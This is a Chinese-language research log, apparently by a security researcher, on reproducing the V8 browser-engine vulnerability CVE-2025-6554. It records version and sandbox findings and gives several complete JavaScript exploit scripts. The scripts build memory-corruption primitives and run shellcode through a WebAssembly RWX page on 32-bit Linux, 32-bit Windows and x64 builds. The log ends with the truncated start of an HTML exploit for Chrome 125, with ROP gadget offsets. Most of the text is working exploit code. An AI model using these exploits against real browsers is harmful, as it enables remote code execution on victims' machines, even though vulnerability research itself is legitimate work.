CVE-2025-6554复现进展

14.0 存在trusted_data,但读出来数据需要转换,但不清楚如何转换现在

8.2 直接没有trusted_data,可以直接读出rwx段的地址,但不存在漏洞

12.9.152 和 14的情况一样

11.9.152 不存在trusted_data,但合并了trusted_data的数据,而且不存在rwx的数据段,也存在漏洞,可以尝试利用,但是任意地址读写和addrof都不可用,得i重新构造

10.9.152 不存在trusted_data,但合并了trusted_data的数据,但是不存在rwx的数据段,于是不可用这个方法利用

11.9.152 不存在trusted_data,但合并了trusted_data的数据,而且不存在rwx的数据段,也存在漏洞,可以尝试利用,但是任意地址读写和addrof都不可用,得i重新构造

14.0 存在trusted_data,但读出来数据需要转换,但不清楚如何转换现在,而且存在随机的基地址

网上下载的12.8 版本是存在trusted_data,而且泄露出来的数据也能对上,不存在随机的基地址

编译了x64_5a2307d0f2c5b650c6858e2b9b57b335a59946ff.release,对应的版本也是12.8.0 但是表现和14.0一样存在随机地址的trusted_data

x64_11.3.72.release/的时候已经不存在漏洞了

差不多是在x64_9.5.172.21.release的时候backing_store还是没有指针压缩的,在10.5.118的时候就是压缩了的

目前发现在chrome 123的版本是v8 sandbox的测试版本,也就是说chrome123版本之前是可以用的,目前,沙箱需要能够保留 1 TB 虚拟地址空间的 64 位系统,但开发人员计划在未来减少这些要求。所以在某些版本默认在64位开启的,可以用32位的来利用。https://v8.dev/blog/sandbox

在123~126版本中间也存在一种绕过沙箱的办法,在126版本是修复了的https://research.qianxin.com/archives/2720

差不多在24年3月份更新的chrome 123版本 https://chromereleases.googleblog.com/2024/03/,也就是24年或者25年的利用可以参考。但现在还没找到足够的绕过方法

大概在v8的12.3.219.14版本是默认存在v8 sandbox的

image-20251205155635625

image-20251205153947430

实测编译的时候加上v8_enable_sandbox=false,即可关闭。

image-20251205155526262

  • 尝试123~126 版本的chrome的利用,使用任意读写+沙箱绕过技术+Wasm利用
  • 尝试123版本后的chrome的32位的利用。未开启v8 sandbox。对应的v8需要修改编译的脚本
    • 32位测试确实不存在v8 sandbox ,测试了x86_12.3.219.release,14.0.365.1版本不存在漏洞,现在测试609a85c2a1bd77d6f6905369f4bc4fcf34c5db09
  • 尝试使用123版本之前的chrome进行利用
  • 寻找新的绕过方法。查看chrome123版本后的漏洞利用exp,看看有无可以使用的技术

609a85c2a1bd77d6f6905369f4bc4fcf34c5db09的32位linux弹出计算器的v8

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
// REF: https://github.com/mistymntncop/CVE-2025-6554/blob/main/exploit.js | @mistymntncop 
// V8 version 13.8.258.19
// the exploit was developed in the above v8 version

var buf = new ArrayBuffer(8);
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);
function hex(i)
{
return i.toString(16).padStart(8, "0");
}

function ftoi(val) {
f64_buf[0] = val;
return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n);
}

function itof(val) {
u64_buf[0] = Number(val & 0xffffffffn);
u64_buf[1] = Number(val >> 32n);
return f64_buf[0];
}

function setULBits(low,high){
u64_buf[0] = Number(low);
u64_buf[1] = Number(high);
return f64_buf[0];
}

function hax(trigger) {
let x;
delete x?.[y]?.a;
let hole = y;
let y;

let o = {};
o.maybe_hole = trigger ? hole : "not the hole";
let len = o.maybe_hole.length;
let sign = Math.sign(len);
let i1 = 2 - (sign + 1);
let i2 = 5 - (i1 + 4) >> 1;
let i3 = 2 * i2 + 2;
let i4 = i3 >> 1;
let i5 = i4 * 1000;
// let i5 = i4 * 200;

let arr = new Array(8);
arr[0] = 13.37;

arr[i5] = 13.37;
return arr;
}

let normal = hax(false);

// optimize
for (let j=0; j<0x10000; j++){
hax(false);
}
for (let j=0; j<0x10000; j++){
hax(false);
}
// optimize

// primitives
function addrof(in_obj) {
/*
17 -> flt_arr map
41 -> obj_arr map
*/
let leak;
obj_arr[0] = in_obj;
corrupted[41] = setULBits(0n, isolate_flt_arr_map);
leak = obj_arr[0];
corrupted[41] = setULBits(0n, isolate_obj_arr_map);
return leak;
}


function arb_read(in_addr){ // bigint
/*
rw_prim_arr elements ptr OOB in corrupted arr
corrupted[55] = 0x80013ecf1
*/
corrupted[55] = setULBits(in_addr - 8n, 0x8n);
return ftoi(rw_prim_arr[0]);
}

function arb_write(in_addr, write_val){ // bigint, bigint
/*
rw_prim_arr elements ptr OOB in corrupted arr
corrupted[55] = 0x80013ecf1
*/
corrupted[55] = setULBits(in_addr - 8n, 0x8n);
return rw_prim_arr[0] = itof(write_val);
}




let corrupted = hax(true);

let float_arr = [1.2, 1.4, 1.5];
let obj = {cat:["meow", "meow"]};
let obj_arr = [obj]
let rw_prim_arr = [1.1, 1.5, 1.7, 1.8];

let flt_arr_map_full = corrupted[17]
let obj_arr_map_full = corrupted[41]

let isolate_flt_arr_map = ftoi(flt_arr_map_full) & 0xffffffffn
let isolate_obj_arr_map = ftoi(obj_arr_map_full) >> 32n

console.log(`flt_arr_map: 0x${isolate_flt_arr_map.toString(16)}`)
console.log(`obj_arr_map: 0x${isolate_obj_arr_map.toString(16)}`)

let shell_wasm_code = new Uint8Array([
0, 97, 115, 109, 1, 0, 0, 0, 1, 5, 1, 96, 0, 1, 127, 3, 2, 1, 0, 4, 4, 1, 112, 0, 0, 5, 3, 1, 0, 1, 7, 17, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 133, 1, 1, 130, 1, 0, 65, 0, 68, 0, 0, 0, 0, 0, 0, 0, 0, 57, 3, 0, 65, 0, 68, 106, 59, 88, 144, 144, 144, 235, 11, 57, 3, 0, 65, 0, 68, 104, 47, 115, 104, 0, 91, 235, 11, 57, 3, 0, 65, 0, 68, 104, 47, 98, 105, 110, 89, 235, 11, 57, 3, 0, 65, 0, 68, 72, 193, 227, 32, 144, 144, 235, 11, 57, 3, 0, 65, 0, 68, 72, 1, 203, 83, 144, 144, 235, 11, 57, 3, 0, 65, 0, 68, 72, 137, 231, 144, 144, 144, 235, 11, 57, 3, 0, 65, 0, 68, 72, 49, 246, 72, 49, 210, 235, 11, 57, 3, 0, 65, 0, 68, 15, 5, 144, 144, 144, 144, 235, 11, 57, 3, 0, 65, 42, 11
]); // /bin/sh shellcode inside this

let shell_wasm_module = new WebAssembly.Module(shell_wasm_code);
let shell_wasm_instance = new WebAssembly.Instance(shell_wasm_module);
let shell_func = shell_wasm_instance.exports.main;



let shell_wasm_instance_addr = ftoi(addrof(shell_wasm_instance))& 0xffffffffn;


console.log("[*] leak wasm_instance addr: 0x" + hex(shell_wasm_instance_addr));
%DebugPrint(shell_wasm_instance);


let trusted_data_ptr = (arb_read(shell_wasm_instance_addr+0xcn))& 0xffffffffn;
console.log(`[*] trusted_data_ptr address: 0x${trusted_data_ptr.toString(16)}`);

//%SystemBreak();


let shell_wasm_rwx_addr = arb_read(trusted_data_ptr + 0x1cn)& 0xffffffffn;

console.log(`[*] shellwasm rwx address: 0x${shell_wasm_rwx_addr.toString(16)}`);



/* DISPLAY=':0.0' xcalc */
let shellcode = new Uint8Array([
0x6a,0x0b,0x58,0x99,0x52,0x66,0x68,0x2d,0x63,0x89,0xe7,0x68,0x2f,0x73
,0x68,0x00,0x68,0x2f,0x62,0x69,0x6e,0x89,0xe3,0x52,0xe8,0x15,0x00,0x00
,0x00,0x44, 0x49, 0x53, 0x50, 0x4c, 0x41, 0x59, 0x3d, 0x27, 0x3a, 0x30, 0x2e
,0x30, 0x27, 0x20, 0x78, 0x63, 0x61, 0x6c, 0x63,0x00,0x57,0x53,0x89,0xe1,0xcd,0x80

]);





var data_buf = new ArrayBuffer(shellcode.length);
var data_view = new DataView(data_buf);

%DebugPrint(data_buf);

var buf_backing_store_addr = (ftoi(addrof(data_buf)) + 0x1cn)& 0xffffffffn;
console.log("[*] buf_backing_store_addr: 0x"+hex(buf_backing_store_addr));
//%SystemBreak();

arb_write(buf_backing_store_addr, (shell_wasm_rwx_addr));
%DebugPrint(data_buf);

//%SystemBreak();


for (let i = 0; i < shellcode.length; i++)
data_view.setUint8(i, shellcode[i]);


shell_func();

windows32位的版本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
// REF: https://github.com/mistymntncop/CVE-2025-6554/blob/main/exploit.js | @mistymntncop 
// V8 version 13.8.258.19
// the exploit was developed in the above v8 version

var buf = new ArrayBuffer(8);
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);
function hex(i)
{
return i.toString(16).padStart(8, "0");
}

function ftoi(val) {
f64_buf[0] = val;
return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n);
}

function itof(val) {
u64_buf[0] = Number(val & 0xffffffffn);
u64_buf[1] = Number(val >> 32n);
return f64_buf[0];
}

function setULBits(low,high){
u64_buf[0] = Number(low);
u64_buf[1] = Number(high);
return f64_buf[0];
}

function hax(trigger) {
let x;
delete x?.[y]?.a;
let hole = y;
let y;

let o = {};
o.maybe_hole = trigger ? hole : "not the hole";
let len = o.maybe_hole.length;
let sign = Math.sign(len);
let i1 = 2 - (sign + 1);
let i2 = 5 - (i1 + 4) >> 1;
let i3 = 2 * i2 + 2;
let i4 = i3 >> 1;
let i5 = i4 * 1000;
// let i5 = i4 * 200;

let arr = new Array(8);
arr[0] = 13.37;

arr[i5] = 13.37;
return arr;
}

let normal = hax(false);

// optimize
for (let j=0; j<0x10000; j++){
hax(false);
}
for (let j=0; j<0x10000; j++){
hax(false);
}
// optimize

// primitives
function addrof(in_obj) {
/*
17 -> flt_arr map
41 -> obj_arr map
*/
let leak;
obj_arr[0] = in_obj;
corrupted[41] = setULBits(0n, isolate_flt_arr_map);
leak = obj_arr[0];
corrupted[41] = setULBits(0n, isolate_obj_arr_map);
return leak;
}


function arb_read(in_addr){ // bigint
/*
rw_prim_arr elements ptr OOB in corrupted arr
corrupted[55] = 0x80013ecf1
*/
corrupted[55] = setULBits(in_addr - 8n, 0x8n);
return ftoi(rw_prim_arr[0]);
}

function arb_write(in_addr, write_val){ // bigint, bigint
/*
rw_prim_arr elements ptr OOB in corrupted arr
corrupted[55] = 0x80013ecf1
*/
corrupted[55] = setULBits(in_addr - 8n, 0x8n);
return rw_prim_arr[0] = itof(write_val);
}




let corrupted = hax(true);

let float_arr = [1.2, 1.4, 1.5];
let obj = {cat:["meow", "meow"]};
let obj_arr = [obj]
let rw_prim_arr = [1.1, 1.5, 1.7, 1.8];

let flt_arr_map_full = corrupted[17]
let obj_arr_map_full = corrupted[41]

let isolate_flt_arr_map = ftoi(flt_arr_map_full) & 0xffffffffn
let isolate_obj_arr_map = ftoi(obj_arr_map_full) >> 32n

console.log(`flt_arr_map: 0x${isolate_flt_arr_map.toString(16)}`)
console.log(`obj_arr_map: 0x${isolate_obj_arr_map.toString(16)}`)

let shell_wasm_code = new Uint8Array([
0, 97, 115, 109, 1, 0, 0, 0, 1, 5, 1, 96, 0, 1, 127, 3, 2, 1, 0, 4, 4, 1, 112, 0, 0, 5, 3, 1, 0, 1, 7, 17, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 133, 1, 1, 130, 1, 0, 65, 0, 68, 0, 0, 0, 0, 0, 0, 0, 0, 57, 3, 0, 65, 0, 68, 106, 59, 88, 144, 144, 144, 235, 11, 57, 3, 0, 65, 0, 68, 104, 47, 115, 104, 0, 91, 235, 11, 57, 3, 0, 65, 0, 68, 104, 47, 98, 105, 110, 89, 235, 11, 57, 3, 0, 65, 0, 68, 72, 193, 227, 32, 144, 144, 235, 11, 57, 3, 0, 65, 0, 68, 72, 1, 203, 83, 144, 144, 235, 11, 57, 3, 0, 65, 0, 68, 72, 137, 231, 144, 144, 144, 235, 11, 57, 3, 0, 65, 0, 68, 72, 49, 246, 72, 49, 210, 235, 11, 57, 3, 0, 65, 0, 68, 15, 5, 144, 144, 144, 144, 235, 11, 57, 3, 0, 65, 42, 11
]); // /bin/sh shellcode inside this

let shell_wasm_module = new WebAssembly.Module(shell_wasm_code);
let shell_wasm_instance = new WebAssembly.Instance(shell_wasm_module);
let shell_func = shell_wasm_instance.exports.main;



let shell_wasm_instance_addr = ftoi(addrof(shell_wasm_instance))& 0xffffffffn;


console.log("[*] leak wasm_instance addr: 0x" + hex(shell_wasm_instance_addr));
//%DebugPrint(shell_wasm_instance);


let trusted_data_ptr = (arb_read(shell_wasm_instance_addr+0xcn))& 0xffffffffn;
console.log(`[*] trusted_data_ptr address: 0x${trusted_data_ptr.toString(16)}`);

//%SystemBreak();


let shell_wasm_rwx_addr = arb_read(trusted_data_ptr + 0x1cn)& 0xffffffffn;

console.log(`[*] shellwasm rwx address: 0x${shell_wasm_rwx_addr.toString(16)}`);





/* DISPLAY=':0.0' xcalc */
let shellcode = new Uint8Array([
0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50
,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26
,0x31,0xff,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7
,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78
,0xe3,0x48,0x01,0xd1,0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3
,0x3a,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01
,0xc7,0x38,0xe0,0x75,0xf6,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58
,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3
,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a
,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x6a,0x01,0x8d
,0x85,0xb2,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,0x87,0xff,0xd5,0xbb
,0xf0,0xb5,0xa2,0x56,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x3c,0x06,0x7c
,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x53
,0xff,0xd5,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x00
]);



var data_buf = new ArrayBuffer(shellcode.length);
var data_view = new DataView(data_buf);

//%DebugPrint(data_buf);

var buf_backing_store_addr = (ftoi(addrof(data_buf)) + 0x1cn)& 0xffffffffn;
console.log("[*] buf_backing_store_addr: 0x"+hex(buf_backing_store_addr));
//%SystemBreak();

arb_write(buf_backing_store_addr, (shell_wasm_rwx_addr));
//%DebugPrint(data_buf);

//%SystemBreak();


for (let i = 0; i < shellcode.length; i++)
data_view.setUint8(i, shellcode[i]);


shell_func();

x64_12.1.247.release backing_store的指针压缩限制

x64_12.1.247.release 版本的v8实测需要修改原语和结构,但问题不大,现在构造到任意读写原语完成了,但是利用wasm去写的时候发现,data_buf的结构不太一样,也就是如下这段

1
2
var data_buf = new ArrayBuffer(shellcode.length);
var data_view = new DataView(data_buf);

data_buf数据的 backing_store的地址是偏移的那种,而且针对于0x130900000000的偏移,算法大概如下 0x09 13 +0x01 ;0x00 00 00 00 +0x 80 01 00 00 但是[*] shellwasm rwx address: 0x2fcb42e85000。前面还三个0x00不知道干嘛的。常规的直接写shellcode的地址不太能实现了。但是有任意地址写可以想其他办法

image-20251219163956276

测试发现backing_store只能选择0x27cf00000000-0x28df00000000

image-20251219165839767

而且任意地址读写也被局限于0x27cf00000000-0x28df00000000,因为也是地址压缩的。

64 位 V8 中使用了“指针压缩”的技术,即将 64 位指针转为 js_base + offset 的形式,只在内存当中存储 offset ,寄存器 $14 存储 js_base ,其中 offset 是 32 位的。JS 对象在解引用时,会从 $r14 + offset 的地址加载。因此 js_base + offset 被限制在很小的一个区域,无法访问任意地址。

如下,没有开启“指针压缩”的 ArrayBuffer 内存布局:

Untitled

开启后:

[![Untitled](picture/CVE-2025-6554复现进展/Untitled 1.png)](https://jayl1n.github.io/2022/02/27/v8-sandbox-escape/Untitled 1.png)

绕过“指针压缩”的方法很简单,因为“指针压缩”只对堆上指针使用,堆外指针不会压缩。ArrayBufferBackingStore 是个堆外指针,可以直接修改 BackingStore 为任意地址进而实现任意地址读写。

看了一个文章说了指针压缩,但是这里BackingStore还是堆外指针,没有压缩,这里就是堆内指针了,被压缩了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
// REF: https://github.com/mistymntncop/CVE-2025-6554/blob/main/exploit.js | @mistymntncop 
// V8 version 13.8.258.19
// the exploit was developed in the above v8 version

var buf = new ArrayBuffer(8);
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);
var u32_buf = new Uint32Array(buf);

function hex(i)
{
return i.toString(16).padStart(8, "0");
}

function ftoi(val) {
f64_buf[0] = val;
return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n);
}

function itof(val) {
u64_buf[0] = Number(val & 0xffffffffn);
u64_buf[1] = Number(val >> 32n);
return f64_buf[0];
}

function setULBits(low,high){
u64_buf[0] = Number(low);
u64_buf[1] = Number(high);
return f64_buf[0];
}
function setULBits32(low){
u32_buf[0] = Number(low);
return u32_buf[0];
}

function hax(trigger) {
let x;
delete x?.[y]?.a;
let hole = y;
let y;

let o = {};
o.maybe_hole = trigger ? hole : "not the hole";
let len = o.maybe_hole.length;
let sign = Math.sign(len);
let i1 = 2 - (sign + 1);
let i2 = 5 - (i1 + 4) >> 1;
let i3 = 2 * i2 + 2;
let i4 = i3 >> 1;
let i5 = i4 * 1000;
// let i5 = i4 * 200;

let arr = new Array(8);
arr[0] = 13.37;

arr[i5] = 13.37;
return arr;
}

let normal = hax(false);

// optimize
for (let j=0; j<0x10000; j++){
hax(false);
}
for (let j=0; j<0x10000; j++){
hax(false);
}
// optimize

// primitives
function addrof(in_obj) {
/*
14 -> flt_arr map
32 -> obj_arr map
*/
let leak;
obj_arr[0] = in_obj;

let a = (isolate_flt_arr_map) & 0xffffffffn;
let b = ftoi(corrupted[14]) >> 32n;

corrupted[32] = itof((b << 32n) + a);
leak = obj_arr[0];




let A = (isolate_obj_arr_map) & 0xffffffffn;
let B = ftoi(corrupted[14]) >> 32n;

corrupted[32] = itof((B << 32n) + A);



return leak;
}


function arb_read(in_addr){ // bigint
/*
rw_prim_arr elements ptr OOB in corrupted arr
corrupted[55] = 0x80013ecf1
*/
%DebugPrint(rw_prim_arr);

let a = (in_addr-8n) ;
let b = ftoi(corrupted[42])&0xffffffffn;

corrupted[42] = itof((a << 32n) + b);
return ftoi(rw_prim_arr[0]);
}

function arb_write(in_addr, write_val){ // bigint, bigint
/*
rw_prim_arr elements ptr OOB in corrupted arr
corrupted[55] = 0x80013ecf1
*/


let a = (in_addr-8n) ;
let b = ftoi(corrupted[42])&0xffffffffn;

corrupted[42] = itof((a << 32n) + b);

return rw_prim_arr[0] = itof(write_val);
}




let corrupted = hax(true);

%DebugPrint(corrupted);

let float_arr = [1.2, 1.4, 1.5];
let obj = {cat:["meow", "meow"]};
let obj_arr = [obj];
let rw_prim_arr = [1.1, 1.5, 1.7, 1.8];


%DebugPrint(float_arr);
%DebugPrint(obj_arr);
%DebugPrint(rw_prim_arr);

let flt_arr_map_full = corrupted[14];
let obj_arr_map_full = corrupted[32];


// let isolate_flt_arr_map = ftoi(flt_arr_map_full);
// let isolate_obj_arr_map = ftoi(obj_arr_map_full);

let isolate_flt_arr_map = ftoi(flt_arr_map_full) & 0xffffffffn;
let isolate_obj_arr_map = ftoi(obj_arr_map_full) & 0xffffffffn;




console.log(`flt_arr_map: 0x${isolate_flt_arr_map.toString(16)}`);
console.log(`obj_arr_map: 0x${isolate_obj_arr_map.toString(16)}`);

let shell_wasm_code = new Uint8Array([
0, 97, 115, 109, 1, 0, 0, 0, 1, 5, 1, 96, 0, 1, 127, 3, 2, 1, 0, 4, 4, 1, 112, 0, 0, 5, 3, 1, 0, 1, 7, 17, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 133, 1, 1, 130, 1, 0, 65, 0, 68, 0, 0, 0, 0, 0, 0, 0, 0, 57, 3, 0, 65, 0, 68, 106, 59, 88, 144, 144, 144, 235, 11, 57, 3, 0, 65, 0, 68, 104, 47, 115, 104, 0, 91, 235, 11, 57, 3, 0, 65, 0, 68, 104, 47, 98, 105, 110, 89, 235, 11, 57, 3, 0, 65, 0, 68, 72, 193, 227, 32, 144, 144, 235, 11, 57, 3, 0, 65, 0, 68, 72, 1, 203, 83, 144, 144, 235, 11, 57, 3, 0, 65, 0, 68, 72, 137, 231, 144, 144, 144, 235, 11, 57, 3, 0, 65, 0, 68, 72, 49, 246, 72, 49, 210, 235, 11, 57, 3, 0, 65, 0, 68, 15, 5, 144, 144, 144, 144, 235, 11, 57, 3, 0, 65, 42, 11
]); // /bin/sh shellcode inside this

let shell_wasm_module = new WebAssembly.Module(shell_wasm_code);
let shell_wasm_instance = new WebAssembly.Instance(shell_wasm_module);
let shell_func = shell_wasm_instance.exports.main;


let shell_wasm_instance_addr = ftoi(addrof(shell_wasm_instance))& 0xffffffffn;;


console.log("[*] leak wasm_instance addr: 0x" + hex(shell_wasm_instance_addr));
%DebugPrint(shell_wasm_instance);


let shell_wasm_rwx_addr = arb_read(shell_wasm_instance_addr+(0x8n*9n));
console.log(`[*] shellwasm rwx address: 0x${shell_wasm_rwx_addr.toString(16)}`);



/* DISPLAY=':0.0' xcalc */
let shellcode = new Uint8Array([
0x6a,0x0b,0x58,0x99,0x52,0x66,0x68,0x2d,0x63,0x89,0xe7,0x68,0x2f,0x73
,0x68,0x00,0x68,0x2f,0x62,0x69,0x6e,0x89,0xe3,0x52,0xe8,0x15,0x00,0x00
,0x00,0x44, 0x49, 0x53, 0x50, 0x4c, 0x41, 0x59, 0x3d, 0x27, 0x3a, 0x30, 0x2e
,0x30, 0x27, 0x20, 0x78, 0x63, 0x61, 0x6c, 0x63,0x00,0x57,0x53,0x89,0xe1,0xcd,0x80

]);




var data_buf = new ArrayBuffer(shellcode.length);
var data_view = new DataView(data_buf);


var buf_backing_store_addr = (ftoi(addrof(data_buf)) + 0x22n)& 0xffffffffn;

%DebugPrint(data_buf);

console.log("[*] buf_backing_store_addr: 0x"+hex(buf_backing_store_addr));
%SystemBreak();

arb_write(buf_backing_store_addr, (shell_wasm_rwx_addr));
//%DebugPrint(data_buf);
%DebugPrint(rw_prim_arr);
%SystemBreak();


for (let i = 0; i < shellcode.length; i++)
data_view.setUint8(i, shellcode[i]);


shell_func();

Google_Chrome_(64bit)_v125.0.6422.113 弹出计算器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
<!-- exp.html -->
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>TyphoonPWN 2024 Exploit</title>
</head>
<body>
<textarea
id="log"
rows="80"
cols="120"
style="
font-family: Consolas, Monaco, Lucida Console, Liberation Mono,
DejaVu Sans Mono, Bitstream Vera Sans Mono, Courier New, monospace;
"
></textarea>

<script>
/**
* 核心利用函数:针对 Chrome 125.0.6422.113 的漏洞利用
*/
let byte_view = new Uint8Array(8);
let data_view = new DataView(byte_view.buffer);
async function exp() {
// 模块 1:环境检测与硬编码偏移量设置
function checkUA(chrome_leak) {
// 通过泄露的地址低位 (0xfd00n) 验证浏览器版本是否匹配
if ((chrome_leak & 0xffffn) === 0xfd00n) {
browser_type = "chrome";
browser_version = "125.0.6422.113";
// 以下是针对该版本 Chrome.dll 二进制文件的固定内存偏移
base_leak_ofs = 0xd39fd00n; // 泄露点到基址的偏移
base_tgt_ofs = 0xd35ffb8n; // 目标代码指针表的偏移
fptr_xor = 0xff000000000000n; // V8 内部指针保护用的异或掩码

// ROP Gadgets:用于绕过 DEP(执行保护)
pivot_gadget = 0x895558en; // 栈翻转 (Stack Pivot)
pop_gadget = 0x67620cn; // 弹出寄存器操作
prax_ret = 0x6cd1n; // 设置 RAX 的指令
jmp_drax = 0x1d1e7n; // 跳转指令
virtualprotect_iat_ofs = 0xd214850n; // VirtualProtect API 在导入表中的地址

// 虚函数表 (Vtable) 相关偏移
vtable_gadget = 0x96b3672n;
vtable_rax = 0xd4dab30n;
vtable_call_base = 0xd3125e8n;
}

// 检查是否成功识别浏览器
if (window.browser_type === undefined) {
console.log("[!] checkUA() fail!!!");
console.log("[*] navigator.userAgent = " + navigator.userAgent);
console.log("[*] chrome_leak = " + chrome_leak.toString(16));
} else {
console.log(
"[+] checkUA() Browser: " +
browser_type[0].toUpperCase() +
browser_type.slice(1) +
" " +
browser_version
);
}
}

// 异步休眠函数,用于稳定内存布局
async function sleep(ms = 50) {
await new Promise((r) => setTimeout(r, ms));
}

// 劫持 console.log,将输出重定向到页面上的 textarea(window.log)
function hookLog() {
const logTextarea = window.log;
const ConsoleLog = console.log;
console.realLog = ConsoleLog;
console.log = (...args) => {
logTextarea.value += args.join(" ") + "\n";
ConsoleLog.apply(console, args);
};
}

hookLog();
console.log("[*] UA:", navigator.userAgent);
await sleep();

// 模块 2:初始化 ArrayBuffer 和内存喷射
const nogc = [];
const abs = [];
let absctr = 0;
